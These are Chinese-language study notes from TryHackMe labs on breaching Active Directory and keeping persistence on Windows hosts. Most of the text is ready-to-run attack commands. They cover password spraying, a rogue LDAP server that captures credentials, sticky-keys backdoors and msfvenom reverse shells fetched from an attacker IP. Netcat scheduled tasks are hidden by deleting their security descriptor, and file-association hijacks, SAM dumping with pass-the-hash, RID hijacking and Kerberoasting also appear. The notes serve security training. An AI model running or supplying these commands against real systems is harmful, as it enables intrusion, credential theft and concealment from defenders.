windows-thm-活动目录
首先配置DNS 以及Domain
systemd-resolve –interface breachad –set-dns 10.200.99.101 –set-domain za.tryhackme.com
1、openvpn连接 //下载网络的Breachingad的vpn文件
2、在高级网络管理处,点击小齿轮,设置附加dns:
8.8.8.8
10.200.99.101

然后 systemctl restart NetworkManager

每一次都应该下载新的vpn,然后检查靶场的ip有没有变化,如果有,那就在网络设置修改之后,重启网络服务,用nslookup thmdc.za.tryhackme.com检查就行。
使用下面的py脚本,使用一个密码,对多个账号进行密码喷射
python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/ 绿字为密码

LDAP 绑定凭证
应用程序可以使用的另一种AD身份验证方法是轻量级目录访问协议 (LDAP) 身份验证。LDAP 身份验证与 NTLM 身份验证类似。但是,通过 LDAP 身份验证,应用程序可以直接验证用户的凭据。该应用程序有一对 AD 凭据,可以首先使用它们来查询 LDAP,然后验证 AD 用户的凭据。
LDAP 身份验证是与AD集成的第三方(非 Microsoft)应用程序的一种流行机制。其中包括应用程序和系统,例如::
- Gitlab
- Jenkins
- Custom-developed web applications
- Printers
- VPNs
LDAP 回传攻击
如果一个内网环境有一个打印机,存在如一下页面,可以通过在攻击机nc -lvnp 389(389是LDAP默认端口号)监听,然后修改下图的ip为攻击机内网ip地址,test setting,会接收到会连。

托管恶意LDAP服务器
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
下载好之后按照下面来配置

cd去 /etc/init.d目录,在当前目录创建一个olcSaslSecProps.ldif文件,内容如下:
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
该文件具有以下属性:
- olcSaslSecProps:指定 SASL 安全属性
- noanonymous:禁用支持匿名登录的机制
- minssf:指定可接受的最小安全强度,0表示无保护。
使用 ldif 文件来修补 LDAP 服务器,方法如下:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

捕获 LDAP 凭证
windows-持久化-thm-使用已有服务
webshell
默认C:\inetpub\wwwroot,把针对widows的aspx的后门文件放这
持久化默认是由管理员权限获得之后,输入下面命令
icacls shell.aspx /grant Everyone:F //相当linux使用chmod777赋予后门文件全部权限,然后在攻击机访问该目录下的后门文件就行。
使用 MSSQL 作为后门
‘NEW QUERY’

windows-持久化-thm-登录屏幕/RDP 后门
连续按五次shift,会呼出粘滞键窗口,其实是触发了C:\Windows\System32\sethc.exe
如果可以用cmd.exe替换掉sethc.exe,就可以不登录也能按5次shift呼出cmd

按顺序输入下面三条命令
C:\> takeown /f c:\Windows\System32\sethc.exe
C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe


Utilman

相当于呼出C:\Windows\System32\Utilman.exe
takeown /f c:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant Administrator:F
copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe


windows-thm-持久化-登录触发反弹shell
每个用户登录windows的时候会启动某个文件夹中的程序,这个文件夹叫”启动文件夹“
每个用户都有一个文件夹
C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
在其中放置要在用户登录时运行的可执行文件。攻击者只需将有效负载放入其中即可实现持久性。每个用户只会运行其文件夹中可用的内容。
若想强制所有用户在登录时运行有效负载C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
//没找到就查看隐藏文件夹
下面将反弹shell放到这个文件夹
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.37.236 LPORT=4455 -f exe -o revshell.exe

Run / RunOnce
使用以下注册表项来指定在登录时运行的应用程序,而不是将有效负载传递到特定目录:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
注册表项HKCU
仅适用于当前用户,下面的注册表项HKLM
将适用于所有人。在该键下指定的任何程序都Run
将在用户每次登录时运行。键下指定的程序RunOnce
将仅执行一次。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.37.236 LPORT=4444 -f exe -o revshell.exe
将其传输到受害机器后,将其移动到C:\Windows
powershell “(New-Object System.Net.WebClient).Downloadfile(‘http://10.2.37.236:8000/revshell.exe’,’revshell.exe’)”
接下来创建一个注册表项
c:\tools\pstools\PsExec64.exe -s -i regedit //打开注册表
在注册表的地址输入窗口输入:HKLM\Software\Microsoft\Windows\CurrentVersion\Run //根据上文,这表示所有人,在这个键(目录)下的程序都会在用户每次登录时运行。

选 Expandable String Value
重新登录后获得shell

Winlogon
登录时自动启动程序的另一种替代方法是滥用 Winlogon,这是一种 Windows 组件,可在身份验证(除其他外)后立即加载用户配置文件。
Winlogon在注册表项的这个位置:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

Userinit
指向userinit.exe
,它负责恢复您的用户配置文件首选项。shell
指向系统的 shell,通常是explorer.exe
修改Userinit 的DATA 可以附加用逗号分隔的命令,Winlogon 将处理所有命令。
然后重新连接,就能获取shell

登录脚本
加载用户配置文件时要做的事情之一 userinit.exe
是检查名为 的环境变量UserInitMprLogonScript
。可以使用此环境变量将登录脚本分配给用户,该脚本将在登录计算机时运行。默认情况下未设置该变量,因此可以创建它并分配任何脚本
要为用户创建环境变量,可以转到HKCU\Environment
注册表中的环境变量。使用该UserInitMprLogonScript
条目指向有效负载,以便在用户登录时加载它。但是由于这个没有等效的HKLM,因此只能给当前而不是所有用户设置。

windows-持久化-滥用计划任务
在下面的网站查看相关的命令:
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks
如果受攻击机有nc,在受控主机侧输入下面命令创建一个计划任务
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr “c:\tools\nc64 -e cmd.exe 10.2.37.236 9999” /ru SYSTEM


上图可知,计划任务被成功添加。可以输入命令查看运行情况,如下图:

显然,如果分析人员查看计划任务,这个任务就很显而易见了,因此要将他隐藏。通过删除Security Descriptor (SD)来达到目的。
达到的效果是后门对系统中的任何用户不可见。安全描述符只是一个ACL,它说明哪些用户有权访问计划任务。如果您的用户不允许查询计划任务,您将无法再看到它,因为 Windows 只会向您显示您有权使用的任务。删除SD相当于禁止所有用户访问计划任务,包括管理员
首先需要受攻击主机有 PsExec64.exe 这不是windows自带的。在命令行输入下面的命令:c:\tools\pstools\PsExec64.exe -s -i regedit //红字是exe的位置。
打开regedit之后,根据下面路径找到后门计划任务
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\THM-TaskBackdoor

右键SD 选择delet,删掉就能隐藏他。
但是他仍然可以在regedit找到,所以可以查找:
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree
windows持久化_thm(服务)
加入可以控制服务,可以让受害主机自动运行反弹shell
输入下面命令,在攻击机生成反弹shell。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.37.236 LPORT=4444 -f exe-service -o rev-svc.exe
然后攻击机起一个python服务。
在受控主机的powershell输入下面命令,下载反弹shell:
powershell “(New-Object System.Net.WebClient).Downloadfile(‘http://10.2.37.236:8000/rev-svc.exe’,’rev-svc.exe’)”

有了反弹shell,就可以在受控主机建立一个服务,让它开机自启,就可以简便控制它了。
在受控机输入下面的命令,新建一个服务,同时在攻击机监听相关端口:
sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2 //全部正确的情况下,运行成功这条命令能够成功反弹shell,如下图:

新创建的服务会被检测到,因此更好的方法是更改已有的服务。尤其是已有的被禁用的服务,例如自动更新。
输入下面的命令,查看可用服务:
sc.exe query state=all

以下面某服务的截图为说明对象,说明应该关注的点:

- 可执行文件(BINARY_PATH_NAME)应该指向我们的有效负载。 //比如用msfvenom生成的fantanshell的exe文件。
- 服务START_TYPE应该是自动的,以便有效负载无需用户交互即可运行。
- SERVICE_START_NAME是运行服务的帐户,最好将其设置为LocalSystem以获取 SYSTEM 权限。
powershell简单使用wget没成功,用下面命令下载“powershell”下载
powershell “(New-Object System.Net.WebClient).Downloadfile(‘http://10.2.37.236:8000/rev.exe’,’rev.exe’)”
然后根据上面注意的三个点,修改需要注意的地方,输入下面命令:
sc.exe config THMservice3 binPath= “C:\Windows\Administrator\rev.exe” start= auto obj= “LocalSystem”

sc.exe config THMservice3 binPath= “C:\Windows\rev-svc2.exe” start= auto obj= “LocalSystem”

启动监听,手动启动服务就可以反弹。特别注意,文件名一定要写对!!!!

windows持久化-thm(后门文件)
尝试找到一些可执行文件可能是目标经常用的。
比如在桌面找到了计算器.exe或者别的,如游戏等,思路就是将快捷方式指向恶意脚本,恶意脚本先执行反弹shell再运行正常的功能,但是观察到会有短暂的命令提示符闪烁,很明显。在快捷方式所在的目录放一个ps1脚本
如:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
C:\Windows\System32\calc.exe
然后在快捷方式本来的保存地址处,修改成输入下面命令让快捷方式指向这个恶意脚本:
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
注意到应该事先准备好图标,否则修改上述属性时快捷方式就发生变化了。

除了上述这一种劫持了exe文件,还可以尝试劫持文件关联,劫持任何文件关联,以强制操作系统在用户打开特定文件类型时运行 shell
修改注册表: PsExec64.exe -i -s regedit //首先需要有这个exe
默认的操作系统文件关联保存在注册表内,所以很多恶意文件都会对注册表进行操作,很多恶意样本分析都会着重针对注册表的改动情况。
其中为HKLM\Software\Classes\
下的每种文件类型存储了一个密钥。假设我们要检查使用哪个程序打开 .txt 文件;我们只需检查 .txt
子项,并找到与其关联的 编程 ID (ProgID) 。 ProgID 只是系统上安装的程序的标识符。
以 .txt 扩展名为例子

data字段为ProgID,默认为 txtfile 。通过这个名称,在\class下继续查找:
大多数 ProgID 条目在 shell\open\command
下都有一个子项,其中指定了对具有该扩展名的文件运行的默认命令。

在这种情况下,尝试打开.txt文件时,系统将执行
%SystemRoot%\system32\NOTEPAD.EXE %1
其中%1
代表打开的文件的名称。如果我们想劫持这个扩展(.txt),我们可以用执行后门的脚本替换命令,然后像往常一样打开文件。首先,我们创建一个包含以下内容的 ps1 脚本并将其保存到 C:\Windows\backdoor2.ps1
:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.2.37.236 4444"
C:\Windows\system32\NOTEPAD.EXE $args[0]
接下来修改注册表里的txtfile,根据下图的路径:
hlm\software\classes\txtfile\shell\open\command

修改成poweshell -windowstyle hidden C:\windows\脚本 %1
然后运行一个txt文件就行
Windows持久化-thm(篡改非特权账户)
假设已经获得一台主机的Administrator权限
提升一个非特权用户的权限:
1.以管理员账户输入命令提权。下面命令会将thmuser0添加至管理员组
C:\> net localgroup administrators thmuser0 /add

2.下面这条命令则是添加到备份操作员组,该组中的用户没有管理权限,但可以读取/写入系统上的任何文件或注册表项,忽略任何配置的DACL。由于这是一个非特权帐户,因此它无法通过RDP或 WinRM 返回计算机,除非我们将其添加到远程桌面用户( RDP ) 或远程管理用户(WinRM) 组
C:\> net localgroup “Backup Operators” thmuser1 /add

WinRM(Windows Remote Management)是一种远程管理协议,用于在Windows操作系统上进行远程管理和远程命令执行。它允许管理员通过网络远程管理和配置Windows操作系统,而无需物理接触到被管理的计算机。(evil-winrm 是一款用于在Windows系统上进行渗透测试和漏洞利用的命令行工具)


用户帐户控制 (UAC) 。 UAC 实现的功能之一是 LocalAccountTokenFilterPolicy,它会在远程登录时剥夺任何本地帐户的管理权限。虽然可以通过 UAC 从图形用户会话提升权限(请阅读有关 UAC 的更多信息此处),但如果使用的是 WinRM,则将受限于没有管理权限的有限访问令牌。
可以通过禁用解决这个问题。
为了重新获得管理权限,通过将以下注册表项更改为 1 来禁用 LocalAccountTokenFilterPolicy
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1


重新建立连接,如下图,可以看到backup operator从group used for deny only 变成Mandatory group, Enabled by default, Enabled group了

由于当前用户已经加入了backup operator组,具有读取/写入系统上的任何文件或注册表项的权限。因此可以转储备份 SAM 和 SYSTEM 文件。:
1.reg save hklm\system system.bak
2.reg save hklm\sam sam.bak
3.download system.bak
4.download sam.bak

由于使Evil-WinRM工具已经处理过system和sam,可以通过脚本“secretsdump.py”来提取,输入命令:
python3 secretsdump.py-sam sam.bak -system system.bak LOCAL

输入下面命令
evil-winrm -i 10.10.204.212 -u Administrator -H f3118544a831e728781d780cfdb9c1fa //这里输入的是LM哈希值

由上图可见,运行完命令后就能直接以管理员权限登录了
接下来是其他方法
特殊权限和安全描述符
无需修改任何组成员身份即可获得与将用户添加到 Backup Operators 组类似的结果。
在获取到的shell输入下面命令
secedit /export /cfg config.inf //用于导出本地安全策略配置到一个名为config.inf的文件中。

在窗口或者别的方式打开这个文件,在:
的地方加上想要提高权限的用户名,如thmuser2。这俩权限是backup operator的特殊权限。

这一步相当于给thmuser2做类似上文以管理员身份将thmuser1添加到backup operator组获得特权,但此时不能远程连接,因此还需要 WinRM来调整
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf

下一步,调整 WinRM:
在可视化的窗口的powershell,输入
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI,如下图


要使该用户完全使用给定的权限,必须更改 LocalAccountTokenFilterPolicy 注册表项,参考上文输入的命令,否则不灵。
这是第二种办法,好处就是当别人审查一般用户组时,不会发现一个普通用户在一个特权组里的异常情况,起疑心的速度会慢一些。
下面是第三种。RID(Relative Identifier)劫持。是用于标识和管理安全主体的一种标识符。RID是在Windows安全模型中用于唯一标识用户、组和计算机账户的一部分。
无需成为管理员即可获得管理权限的另一种方法是更改某些注册表值,使操作系统认为您是管理员
创建用户时,会为其分配一个名为相对 ID (RID) 的标识符。 RID 只是代表系统中用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID,并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,我们就可以通过将相同的 RID 与两个帐户关联起来,让 Windows 为非特权用户分配管理员访问令牌。
在任何 Windows 系统中,默认管理员帐户都会分配RID = 500,普通用户通常拥有RID >= 1000
输入下面命令查看RID,RID 是 SID 的最后一位(thmuser3 为 1010,管理员为 500)
wmic useraccount get name,sid

如果将 RID=500 分配给 thmuser3,就能欺骗系统,让系统把令牌给thmuser3.使用 Regedit 访问 SAM。 SAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法对其进行编辑。要以 SYSTEM 身份运行 Regedit,使用 psexec,在C:\tools\pstools


计算机中的每个用户都有一个密钥。由于我们要修改 thmuser3,因此需要搜索其 RID 为十六进制的密钥 (1010 = 0x3F2)。在对应的键下,会有一个名为F的值,该值在0x30位置处保存了用户的有效RID:

用十六进制的管理员 RID 替换这两个字节 (500 = 0x01F4),并交换字节 (F401):
修改之后,在攻击机简单使用XFREERDP以thmuser3的账号密码登录,发现登录成功后会是administrator

以上三种方式:增加到组、修改配置文件、修改RID都成功简单持久化了一个普通账户,并使它具备一定的管理员权限(以管理员权限登录)
windows7-applocker-thm
有很多方法可以绕过AppLocker。
1.如果AppLocker配置了默认的 AppLocker 规则,我们可以通过将可执行文件放置在以下目录中来绕过它: C:\Windows\System32\spool\drivers\color – 默认情况下该目录已列入白名单
2.Kerberoasting 是一种从 Active Directory 中提取服务帐户哈希值以便稍后用于离线破解的攻击。
使用以下命令查找具有服务主体名称属性设置的用户:
setspn -T medin -Q /

上图可以看出已经识别出了用户为fela
3.下载下面的脚本,用于转储hash https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1
在color目录运行 . .\Invoke-Kerberoast.ps1,再运行Invoke-Kerberoast -OutputFormat hashcat |fl 如下图:
